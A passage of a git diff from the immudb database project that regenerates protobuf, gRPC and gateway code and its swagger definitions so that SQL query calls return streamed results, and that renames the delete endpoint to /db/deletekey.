0x73, 0x74, 0x1a, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, + 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, + 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, - 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, - 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, - 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, - 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x62, - 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, - 0x72, 0x79, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, + 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, + 0x0a, 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, + 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, + 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, + 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x64, 0x0a, 0x08, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, + 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, + 0x30, 0x01, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, diff --git a/pkg/api/schema/schema.pb.gw.go b/pkg/api/schema/schema.pb.gw.go index c52fa1246e..498c39ffc1 100644 --- a/pkg/api/schema/schema.pb.gw.go +++ b/pkg/api/schema/schema.pb.gw.go @@ -1642,7 +1642,7 @@ func local_request_ImmuService_SQLExec_0(ctx context.Context, marshaler runtime. } -func request_ImmuService_SQLQuery_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_ImmuService_SQLQuery_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (ImmuService_SQLQueryClient, runtime.ServerMetadata, error) { var protoReq SQLQueryRequest var metadata runtime.ServerMetadata @@ -1654,25 +1654,16 @@ func request_ImmuService_SQLQuery_0(ctx context.Context, marshaler runtime.Marsh return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.SQLQuery(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err - -} - -func local_request_ImmuService_SQLQuery_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq SQLQueryRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + stream, err := client.SQLQuery(ctx, &protoReq) + if err != nil { + return nil, metadata, err } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + header, err := stream.Header() + if err != nil { + return nil, metadata, err } - - msg, err := server.SQLQuery(ctx, &protoReq) - return msg, metadata, err + metadata.HeaderMD = header + return stream, metadata, nil } @@ -2861,26 +2852,10 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux }) mux.Handle("POST", pattern_ImmuService_SQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - var stream runtime.ServerTransportStream - ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := local_request_ImmuService_SQLQuery_0(rctx, inboundMarshaler, server, req, pathParams) - md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuService_SQLQuery_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - + err := status.Error(codes.Unimplemented, "streaming calls are not yet supported in the in-process transport") + _, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return }) mux.Handle("GET", pattern_ImmuService_ListTables_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { @@ -3952,7 +3927,7 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_SQLQuery_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuService_SQLQuery_0(ctx, mux, outboundMarshaler, w, req, func() (proto.Message, error) { return resp.Recv() }, mux.GetForwardResponseOptions()...) }) @@ -4062,7 +4037,7 @@ var ( pattern_ImmuService_VerifiableGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "verifiable", "get"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuService_Delete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "delete"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuService_Delete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "deletekey"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_GetAll_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "getall"}, "", runtime.AssumeColonVerbOpt(true))) @@ -4236,7 +4211,7 @@ var ( forward_ImmuService_SQLExec_0 = runtime.ForwardResponseMessage - forward_ImmuService_SQLQuery_0 = runtime.ForwardResponseMessage + forward_ImmuService_SQLQuery_0 = runtime.ForwardResponseStream forward_ImmuService_ListTables_0 = runtime.ForwardResponseMessage diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 9effd16a90..fef6deb7bd 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1409,7 +1409,10 @@ message SQLQueryRequest { repeated NamedParam params = 2; // If true, reuse previously opened snapshot - bool reuseSnapshot = 3; + bool reuseSnapshot = 3 [deprecated = true]; + + // Wheter the client accepts a streaming response + bool acceptStream = 4; } message NamedParam { @@ -1595,7 +1598,7 @@ service ImmuService { rpc TxSQLExec(SQLExecRequest) returns (google.protobuf.Empty) {} - rpc TxSQLQuery(SQLQueryRequest) returns (SQLQueryResult) {} + rpc TxSQLQuery(SQLQueryRequest) returns (stream SQLQueryResult) {} rpc Login(LoginRequest) returns (LoginResponse) { option deprecated = true; @@ -1645,7 +1648,7 @@ service ImmuService { rpc Delete(DeleteKeysRequest) returns (TxHeader) { option (google.api.http) = { - post: "/db/delete" + post: "/db/deletekey" body: "*" }; } @@ -1928,7 +1931,7 @@ service ImmuService { }; } - rpc SQLQuery(SQLQueryRequest) returns (SQLQueryResult) { + rpc SQLQuery(SQLQueryRequest) returns (stream SQLQueryResult) { option (google.api.http) = { post: "/db/sqlquery" body: "*" diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 295b2ccec4..1b6ff3e923 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -220,6 +220,38 @@ ] } }, + "/db/deletekey": { + "post": { + "operationId": "ImmuService_Delete", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemaTxHeader" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemaDeleteKeysRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, "/db/execall": { "post": { "operationId": "ImmuService_ExecAll", @@ -736,9 +768,18 @@ "operationId": "ImmuService_SQLQuery", "responses": { "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/schemaSQLQueryResult" + "description": "A successful response.(streaming responses)", + "schema": { + "type": "object", + "properties": { + "result": { + "$ref": "#/definitions/schemaSQLQueryResult" + }, + "error": { + "$ref": "#/definitions/runtimeStreamError" + } + }, + "title": "Stream result of schemaSQLQueryResult" } }, "default": { @@ -2022,6 +2063,33 @@ } } }, + "schemaDatabaseInfo": { + "type": "object", + "properties": { + "name": { + "type": "string", + "title": "Database name" + }, + "settings": { + "$ref": "#/definitions/schemaDatabaseNullableSettings", + "title": "Current database settings" + }, + "loaded": { + "type": "boolean", + "title": "If true, this database is currently loaded into memory" + }, + "diskSize": { + "type": "string", + "format": "uint64", + "title": "database disk size" + }, + "numTransactions": { + "type": "string", + "format": "uint64", + "title": "total number of transactions" + } + } + }, "schemaDatabaseListRequestV2": { "type": "object" }, @@ -2043,7 +2111,7 @@ "databases": { "type": "array", "items": { - "$ref": "#/definitions/schemaDatabaseWithSettings" + "$ref": "#/definitions/schemaDatabaseInfo" }, "title": "Database list with current database settings" } @@ -2147,6 +2215,10 @@ "embeddedValues": { "$ref": "#/definitions/schemaNullableBool", "title": "If set to true, values are stored together with the transaction header (true by default)" + }, + "preallocFiles": { + "$ref": "#/definitions/schemaNullableBool", + "title": "Enable file preallocation" } } }, @@ -2224,23 +2296,6 @@ } } }, - "schemaDatabaseWithSettings": { - "type": "object", - "properties": { - "name": { - "type": "string", - "title": "Database name" - }, - "settings": { - "$ref": "#/definitions/schemaDatabaseNullableSettings", - "title": "Current database settings" - }, - "loaded": { - "type": "boolean", - "title": "If true, this database is currently loaded into memory" - } - } - }, "schemaDeleteDatabaseRequest": { "type": "object", "properties": { @@ -3211,6 +3266,10 @@ "reuseSnapshot": { "type": "boolean", "title": "If true, reuse previously opened snapshot" + }, + "acceptStream": { + "type": "boolean", + "title": "Wheter the client accepts a streaming response" } } }, @@ -3330,6 +3389,26 @@ "version": { "type": "string", "description": "The version of the server instance." + }, + "startedAt": { + "type": "string", + "format": "int64", + "description": "Unix timestamp (seconds) indicating when the server process has been started." + }, + "numTransactions": { + "type": "string", + "format": "int64", + "description": "Total number of transactions across all databases." + }, + "numDatabases": { + "type": "integer", + "format": "int32", + "description": "Total number of databases present." + }, + "databasesDiskSize": { + "type": "string", + "format": "int64", + "description": "Total disk size used by all databases." } }, "description": "ServerInfoResponse contains information about the server instance." @@ -3555,6 +3634,11 @@ "type": "string", "format": "uint64", "title": "Entry expiration information" + }, + "extra": { + "type": "string", + "format": "byte", + "title": "Extra data" } }, "title": "TxMetadata contains metadata set to whole transaction" @@ -3803,6 +3887,11 @@ "format": "int32" }, "title": "Mapping of column IDs to their length constraints" + }, + "MaxColId": { + "type": "integer", + "format": "int64", + "title": "Variable is used to assign unique ids to new columns as they are created" } } }, diff --git a/pkg/api/schema/schema_grpc.pb.go b/pkg/api/schema/schema_grpc.pb.go index a563035c19..18b771ce38 100644 --- a/pkg/api/schema/schema_grpc.pb.go +++ b/pkg/api/schema/schema_grpc.pb.go @@ -35,7 +35,7 @@ type ImmuServiceClient interface { Commit(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) Rollback(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) - TxSQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) + TxSQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_TxSQLQueryClient, error) // Deprecated: Do not use. Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) // Deprecated: Do not use. @@ -107,7 +107,7 @@ type ImmuServiceClient interface { ReplicateTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_ReplicateTxClient, error) StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExportTxClient, error) SQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*SQLExecResult, error) - SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) + SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_SQLQueryClient, error) ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) DescribeTable(ctx context.Context, in *Table, opts ...grpc.CallOption) (*SQLQueryResult, error) VerifiableSQLGet(ctx context.Context, in *VerifiableSQLGetRequest, opts ...grpc.CallOption) (*VerifiableSQLEntry, error) @@ -250,13 +250,36 @@ func (c *immuServiceClient) TxSQLExec(ctx context.Context, in *SQLExecRequest, o return out, nil } -func (c *immuServiceClient) TxSQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) { - out := new(SQLQueryResult) - err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/TxSQLQuery", in, out, opts...) +func (c *immuServiceClient) TxSQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_TxSQLQueryClient, error) { + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[0], "/immudb.schema.ImmuService/TxSQLQuery", opts...) if err != nil { return nil, err } - return out, nil + x := &immuServiceTxSQLQueryClient{stream} + if err := x.ClientStream.SendMsg(in); err != nil { + return nil, err + } + if err := x.ClientStream.CloseSend(); err != nil { + return nil, err + } + return x, nil +} + +type ImmuService_TxSQLQueryClient interface { + Recv() (*SQLQueryResult, error) + grpc.ClientStream +} + +type immuServiceTxSQLQueryClient struct { + grpc.ClientStream +} + +func (x *immuServiceTxSQLQueryClient) Recv() (*SQLQueryResult, error) { + m := new(SQLQueryResult) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil } // Deprecated: Do not use. @@ -627,7 +650,7 @@ func (c *immuServiceClient) CompactIndex(ctx context.Context, in *emptypb.Empty, } func (c *immuServiceClient) StreamGet(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (ImmuService_StreamGetClient, error) { - stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[0], "/immudb.schema.ImmuService/streamGet", opts...) + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[1], "/immudb.schema.ImmuService/streamGet", opts...) if err != nil { return nil, err } @@ -659,7 +682,7 @@ func (x *immuServiceStreamGetClient) Recv() (*Chunk, error) { } func (c *immuServiceClient) StreamSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamSetClient, error) { - stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[1], "/immudb.schema.ImmuService/streamSet", opts...) + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[2], "/immudb.schema.ImmuService/streamSet", opts...) if err != nil { return nil, err } @@ -693,7 +716,7 @@ func (x *immuServiceStreamSetClient) CloseAndRecv() (*TxHeader, error) { } func (c *immuServiceClient) StreamVerifiableGet(ctx context.Context, in *VerifiableGetRequest, opts ...grpc.CallOption) (ImmuService_StreamVerifiableGetClient, error) { - stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[2], "/immudb.schema.ImmuService/streamVerifiableGet", opts...) + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[3], "/immudb.schema.ImmuService/streamVerifiableGet", opts...) if err != nil { return nil, err } @@ -725,7 +748,7 @@ func (x *immuServiceStreamVerifiableGetClient) Recv() (*Chunk, error) { } func (c *immuServiceClient) StreamVerifiableSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamVerifiableSetClient, error) { - stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[3], "/immudb.schema.ImmuService/streamVerifiableSet", opts...) + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[4], "/immudb.schema.ImmuService/streamVerifiableSet", opts...) if err != nil { return nil, err } @@ -759,7 +782,7 @@ func (x *immuServiceStreamVerifiableSetClient) CloseAndRecv() (*VerifiableTx, er } func (c *immuServiceClient) StreamScan(ctx context.Context, in *ScanRequest, opts ...grpc.CallOption) (ImmuService_StreamScanClient, error) { - stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[4], "/immudb.schema.ImmuService/streamScan", opts...) + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[5], "/immudb.schema.ImmuService/streamScan", opts...) if err != nil { return nil, err } @@ -791,7 +814,7 @@ func (x *immuServiceStreamScanClient) Recv() (*Chunk, error) { } func (c *immuServiceClient) StreamZScan(ctx context.Context, in *ZScanRequest, opts ...grpc.CallOption) (ImmuService_StreamZScanClient, error) { - stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[5], "/immudb.schema.ImmuService/streamZScan", opts...) + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[6], "/immudb.schema.ImmuService/streamZScan", opts...) if err != nil { return nil, err } @@ -823,7 +846,7 @@ func (x *immuServiceStreamZScanClient) Recv() (*Chunk, error) { } func (c *immuServiceClient) StreamHistory(ctx context.Context, in *HistoryRequest, opts ...grpc.CallOption) (ImmuService_StreamHistoryClient, error) { - stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[6], "/immudb.schema.ImmuService/streamHistory", opts...) + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[7], "/immudb.schema.ImmuService/streamHistory", opts...) if err != nil { return nil, err } @@ -855,7 +878,7 @@ func (x *immuServiceStreamHistoryClient) Recv() (*Chunk, error) { } func (c *immuServiceClient) StreamExecAll(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExecAllClient, error) { - stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[7], "/immudb.schema.ImmuService/streamExecAll", opts...) + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[8], "/immudb.schema.ImmuService/streamExecAll", opts...) if err != nil { return nil, err } @@ -889,7 +912,7 @@ func (x *immuServiceStreamExecAllClient) CloseAndRecv() (*TxHeader, error) { } func (c *immuServiceClient) ExportTx(ctx context.Context, in *ExportTxRequest, opts ...grpc.CallOption) (ImmuService_ExportTxClient, error) { - stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[8], "/immudb.schema.ImmuService/exportTx", opts...) + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[9], "/immudb.schema.ImmuService/exportTx", opts...) if err != nil { return nil, err } @@ -921,7 +944,7 @@ func (x *immuServiceExportTxClient) Recv() (*Chunk, error) { } func (c *immuServiceClient) ReplicateTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_ReplicateTxClient, error) { - stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[9], "/immudb.schema.ImmuService/replicateTx", opts...) + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[10], "/immudb.schema.ImmuService/replicateTx", opts...) if err != nil { return nil, err } @@ -955,7 +978,7 @@ func (x *immuServiceReplicateTxClient) CloseAndRecv() (*TxHeader, error) { } func (c *immuServiceClient) StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExportTxClient, error) { - stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[10], "/immudb.schema.ImmuService/streamExportTx", opts...) + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[11], "/immudb.schema.ImmuService/streamExportTx", opts...) if err != nil { return nil, err } @@ -994,13 +1017,36 @@ func (c *immuServiceClient) SQLExec(ctx context.Context, in *SQLExecRequest, opt return out, nil } -func (c *immuServiceClient) SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) { - out := new(SQLQueryResult) - err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/SQLQuery", in, out, opts...) +func (c *immuServiceClient) SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_SQLQueryClient, error) { + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[12], "/immudb.schema.ImmuService/SQLQuery", opts...) if err != nil { return nil, err } - return out, nil + x := &immuServiceSQLQueryClient{stream} + if err := x.ClientStream.SendMsg(in); err != nil { + return nil, err + } + if err := x.ClientStream.CloseSend(); err != nil { + return nil, err + } + return x, nil +} + +type ImmuService_SQLQueryClient interface { + Recv() (*SQLQueryResult, error) + grpc.ClientStream +} + +type immuServiceSQLQueryClient struct { + grpc.ClientStream +} + +func (x *immuServiceSQLQueryClient) Recv() (*SQLQueryResult, error) { + m := new(SQLQueryResult) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil } func (c *immuServiceClient) ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) { @@ -1059,7 +1105,7 @@ type ImmuServiceServer interface { Commit(context.Context, *emptypb.Empty) (*CommittedSQLTx, error) Rollback(context.Context, *emptypb.Empty) (*emptypb.Empty, error) TxSQLExec(context.Context, *SQLExecRequest) (*emptypb.Empty, error) - TxSQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) + TxSQLQuery(*SQLQueryRequest, ImmuService_TxSQLQueryServer) error // Deprecated: Do not use. Login(context.Context, *LoginRequest) (*LoginResponse, error) // Deprecated: Do not use. @@ -1131,7 +1177,7 @@ type ImmuServiceServer interface { 